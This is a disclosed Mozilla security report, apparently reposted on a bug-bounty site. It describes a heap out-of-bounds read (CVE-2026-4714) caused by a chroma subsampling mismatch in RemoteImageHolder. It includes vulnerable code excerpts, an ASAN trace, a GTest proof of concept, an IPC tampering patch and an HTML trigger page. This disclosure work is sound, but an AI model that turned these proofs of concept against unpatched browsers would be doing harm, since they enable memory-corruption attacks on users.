Skip to content
Memory corruption Disclosed report Advanced CVE-2026-4714

RemoteImageHolder ChromaSubsampling Mismatch OOB Heap Read

A mismatch between the chroma subsampling declared in a YCbCr descriptor and the actual chroma plane size causes CopyData to read past the allocated chroma buffer. A compromised RDD or utility process could trigger a heap out-of-bounds read in the content process during video playback.

Sajeeb Lohani Follow

Originally disclosed on Mozilla

  • Fixed in 12 days
  • Paid in 41 days
  • Disclosed after 12 days

Compromised RDD/utility process -> content process via PRemoteDecoder::DecodedOutput. No user interaction beyond video playback.

RemoteImageHolder::DeserializeImage (RemoteImageHolder.cpp:81) validates shmem size using ComputeYCbCrBufferSize with the descriptor's cbCrSize, then sets pData.mChromaSubsampling = descriptor.chromaSubsampling() (line 100). The descriptor's cbCrSize is never stored in PlanarYCbCrData — it is used only for validation and discarded. When CopyData runs (ImageContainer.cpp:909), it recomputes chroma dimensions via CbCrDataSize() which calls ChromaSize(YDataSize(), mChromaSubsampling), ignoring the descriptor's cbCrSize. With cbCrSize={64,1} but chromaSubsampling=FULL and display=(64,2), CopyPlane reads 128 bytes from each 64-byte chroma region — 64-byte OOB read per plane.

This is distinct from the display-rect mismatch (Bug 2016370). Here display == ySize; the inflation comes from chromaSubsampling disagreeing with cbCrSize.

The Bug

C++
// RemoteImageHolder.cpp:81 — validates against descriptor.cbCrSize()
size_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
    descriptor.ySize(), descriptor.yStride(), descriptor.cbCrSize(),
    //                                       ^^^^^^^^^^^^^^^^^^
    // cbCrSize={64,1} → 64 bytes per chroma plane. Passes.
    descriptor.cbCrStride(), ...);

// RemoteImageHolder.cpp:95,100 — cbCrSize discarded after validation
pData.mPictureRect = descriptor.display();           // {0,0,64,2}
pData.mChromaSubsampling = descriptor.chromaSubsampling(); // FULL

// ImageContainer.h:794 — recomputes from display + subsampling, not cbCrSize
gfx::IntSize CbCrDataSize() const {
    return gfx::ChromaSize(YDataSize(), mChromaSubsampling);
    //     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    // ChromaSize({64,2}, FULL) = {64,2} → 128 bytes per chroma plane

// ImageContainer.cpp:909,934 — copies the recomputed (larger) size
auto cbcrSize = aData.CbCrDataSize();  // recomputed, not from descriptor
CopyPlane(mData.mCbChannel, aData.mCbChannel, cbcrSize, ...);
//        memcpy reads 128 bytes from 64-byte chroma region → OOB

// ImageContainer.cpp:889 — CopyPlane has no source bounds check
if (!aSkip) {
  memcpy(aDst, aSrc, height * aStride);  // raw memcpy, trusts caller
}

ChromaSize with FULL returns the input size unchanged (gfx/Types.h:797). The 4:2:0 chroma allocation is half-size, but CopyPlane reads full-size — 64 bytes past each chroma buffer.

Attack Vector

A compromised RDD or utility process sends a crafted SurfaceDescriptorBuffer containing a YCbCrDescriptor where chromaSubsampling is set to FULL but cbCrSize remains at the real (smaller) 4:2:0 dimensions. The content process deserializes through RemoteVideoDecoderChild::ProcessOutput -> TransferToImage -> DeserializeImage -> CopyData, reading past the chroma buffer during CopyPlane.

ASAN Proof

==14145==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110006d9200
  at pc 0x0001009ab9b4 bp 0x00016fa50570 sp 0x00016fa4fd20
READ of size 128 at 0x6110006d9200 thread T0
    #0 __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:arm64+0x4f9b0)
    #1 mozilla::layers::RecyclingPlanarYCbCrImage::CopyData (XUL:arm64+0x608d7cc)
    #2 RemoteImageHolderOOB_ChromaSubsamplingMismatchOOBRead_Test::TestBody (XUL:arm64+0x171f9c0)

0x6110006d9200 is located 0 bytes after 256-byte region [0x6110006d4b00,0x6110006d4c00)
allocated by thread T0 here:
    #0 malloc (libclang_rt.asan_osx_dynamic.dylib:arm64+0x528bc)
    #1 moz_xmalloc (libmozglue.dylib:arm64+0xcc0)
    #2 RemoteImageHolderOOB_ChromaSubsamplingMismatchOOBRead_Test::TestBody (XUL:arm64+0x171f820)

SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL:arm64+0x608d7cc)
  in mozilla::layers::RecyclingPlanarYCbCrImage::CopyData

PoC

gfx/tests/gtest/TestRemoteImageHolderOOB.cpp (test 4):

C++
TEST(RemoteImageHolderOOB, ChromaSubsamplingMismatchOOBRead)
{
  const int32_t yStride = 64;
  const int32_t cbCrStride = 64;
  const IntSize ySize(64, 2);
  const IntSize cbCrSize(64, 1);

  const uint32_t yOffset = 0;
  const uint32_t cbOffset = 128;
  const uint32_t crOffset = 192;

  uint32_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);
  ASSERT_EQ(descriptorSize, 256u);

  UniquePtr<uint8_t[]> buffer(new uint8_t[descriptorSize]);
  memset(buffer.get(), 0xCC, descriptorSize);

  PlanarYCbCrData pData;
  pData.mYChannel = buffer.get() + yOffset;
  pData.mYStride = yStride;
  pData.mYSkip = 0;
  pData.mCbChannel = buffer.get() + cbOffset;
  pData.mCrChannel = buffer.get() + crOffset;
  pData.mCbCrStride = cbCrStride;
  pData.mCbSkip = 0;
  pData.mCrSkip = 0;
  pData.mColorDepth = ColorDepth::COLOR_8;
  pData.mYUVColorSpace = YUVColorSpace::BT601;
  pData.mColorRange = ColorRange::LIMITED;

  // display matches ySize — this is NOT a display-rect issue.
  pData.mPictureRect = IntRect(0, 0, 64, 2);
  // FULL makes CbCrDataSize() = ChromaSize({64,2}, FULL) = {64,2}.
  // But descriptor cbCrSize is only {64,1}. 128 bytes read from 64-byte region.
  pData.mChromaSubsampling = ChromaSubsampling::FULL;

  auto recycleBin = MakeRefPtr<BufferRecycleBin>();
  RefPtr<RecyclingPlanarYCbCrImage> image =
      new RecyclingPlanarYCbCrImage(recycleBin);

  nsresult rv = image->CopyData(pData);
  (void)rv;
}

Reproduce:

Bash
./mach gtest "RemoteImageHolderOOB.ChromaSubsamplingMismatchOOBRead"

IPC patch — pocs/remote_imageholder_chroma_subsampling_oob_ipc.patch:

Diff
diff --git a/dom/media/ipc/RemoteImageHolder.cpp b/dom/media/ipc/RemoteImageHolder.cpp
index 85ccfea9e107..e2331930429b 100644
--- a/dom/media/ipc/RemoteImageHolder.cpp
+++ b/dom/media/ipc/RemoteImageHolder.cpp
@@ -7,6 +7,7 @@
 #include "RemoteImageHolder.h"

 #include "GPUVideoImage.h"
+#include "nsXULAppAPI.h"
 #include "mozilla/PRemoteDecoderChild.h"
 #include "mozilla/RemoteDecodeUtils.h"
 #include "mozilla/RemoteMediaManagerChild.h"
@@ -185,6 +186,22 @@ RemoteImageHolder::~RemoteImageHolder() {

 /* static */ void IPC::ParamTraits<mozilla::RemoteImageHolder>::Write(
     MessageWriter* aWriter, mozilla::RemoteImageHolder&& aParam) {
+  // PoC: flip chromaSubsampling to FULL on the first decoded YCbCr frame.
+  // Validation uses descriptor.cbCrSize (small, 4:2:0). CbCrDataSize()
+  // recomputes via ChromaSize(display, FULL) = full Y size. CopyPlane
+  // reads full-size rows from half-size chroma buffer -> OOB.
+  static bool sTampered = false;
+  if (!sTampered && XRE_IsRDDProcess() && aParam.mSD &&
+      aParam.mSD->type() ==
+          mozilla::layers::SurfaceDescriptor::TSurfaceDescriptorBuffer) {
+    auto& sdBuf = aParam.mSD->get_SurfaceDescriptorBuffer();
+    if (sdBuf.desc().type() ==
+        mozilla::layers::BufferDescriptor::TYCbCrDescriptor) {
+      sTampered = true;
+      sdBuf.desc().get_YCbCrDescriptor().chromaSubsampling() =
+          mozilla::gfx::ChromaSubsampling::FULL;
+    }
+  }
   WriteParam(aWriter, aParam.mSource);
   WriteParam(aWriter, aParam.mSize);
   WriteParam(aWriter, aParam.mColorDepth);

The patch modifies ParamTraits<RemoteImageHolder>::Write in the RDD process to flip chromaSubsampling from the real 4:2:0 to FULL on the first decoded frame. On macOS, decoded video typically goes through MacIOSurface (GPU textures) rather than shmem, so the TSurfaceDescriptorBuffer condition may not match. On Linux, software-decoded frames use shmem and the tamper fires. The GTest exercises the vulnerable CopyData path directly regardless of platform.

HTML PoC — pocs/remote_imageholder_chroma_subsampling_oob_ipc.html:

HTML
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>RemoteImageHolder ChromaSubsampling OOB</title></head>
<body>
<pre id="log"></pre>
<video id="v" width="256" height="256" muted></video>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; console.log(s); }

msg('RemoteImageHolder ChromaSubsampling Mismatch OOB Read');
msg('RDD -> content via PRemoteDecoder::DecodedOutput');
msg('');

const v = document.getElementById('v');

v.addEventListener('playing', () => {
  msg('Video playing - RDD sending crafted YCbCr descriptor to content.');
  msg('Check ASAN for heap-buffer-overflow READ in CopyData.');
});

v.addEventListener('error', () => {
  msg('Video error: ' + (v.error ? v.error.message : 'unknown'));
});

v.addEventListener('ended', () => {
  msg('Playback complete. If patched: OOB triggered during decode.');
});

// Any video triggers RDD decoding. The patched Write in RDD flips
// chromaSubsampling to FULL on the first decoded frame. CopyPlane
// reads full-size rows from half-size chroma buffer in content.
// On macOS: requires layers.acceleration.disabled=true to force
// shmem path instead of MacIOSurface. On Linux: works by default.
v.src = 'test_chroma.webm';
v.play().catch(e => {
  msg('Autoplay blocked: ' + e.message);
  document.addEventListener('click', () => v.play(), { once: true });
  msg('Click page to play.');
});
</script>
</body>
</html>

Reproduce:

Bash
git apply pocs/remote_imageholder_chroma_subsampling_oob_ipc.patch
./mach build
ffmpeg -y -f lavfi -i color=c=gray:s=64x64:d=1:r=30 -c:v libvpx -b:v 100k pocs/test_chroma.webm
python3 -m http.server 8766 --directory pocs/
./mach run -- http://localhost:8766/remote_imageholder_chroma_subsampling_oob_ipc.html

The original report as published on Mozilla's Bugzilla, by Sajeeb Lohani. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The descriptor's cbCrSize is used only for validation and then discarded, so CopyData recomputes chroma dimensions from display size and chromaSubsampling, which can disagree with the validated size.

Impact

A compromised RDD or utility process could cause a heap out-of-bounds read in the content process; on macOS the shmem path may not be used for decoded video, so the IPC tamper may not fire there.

What the attacker needed

Compromised RDD or utility process; video playback in content process; shmem-backed decoded frames (Linux)

How it was found

  1. A compromised RDD or utility process sends a crafted SurfaceDescriptorBuffer with a YCbCrDescriptor where chromaSubsampling is FULL but cbCrSize is the smaller 4:2:0 size.
  2. The content process deserialises the descriptor through RemoteVideoDecoderChild::ProcessOutput, TransferToImage, DeserializeImage and CopyData.
  3. CopyData recomputes the chroma size from display and chromaSubsampling, then CopyPlane reads past the chroma buffer.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Video frames are split into brightness (luma) and colour (chroma) parts. The code checks the buffer size using one set of dimensions but later copies using a different, larger set, so it reads past the end of the colour buffer. This only matters if an attacker already controls a separate media process, which is a serious but not trivial starting point.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Sajeeb Lohani

View all

26 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.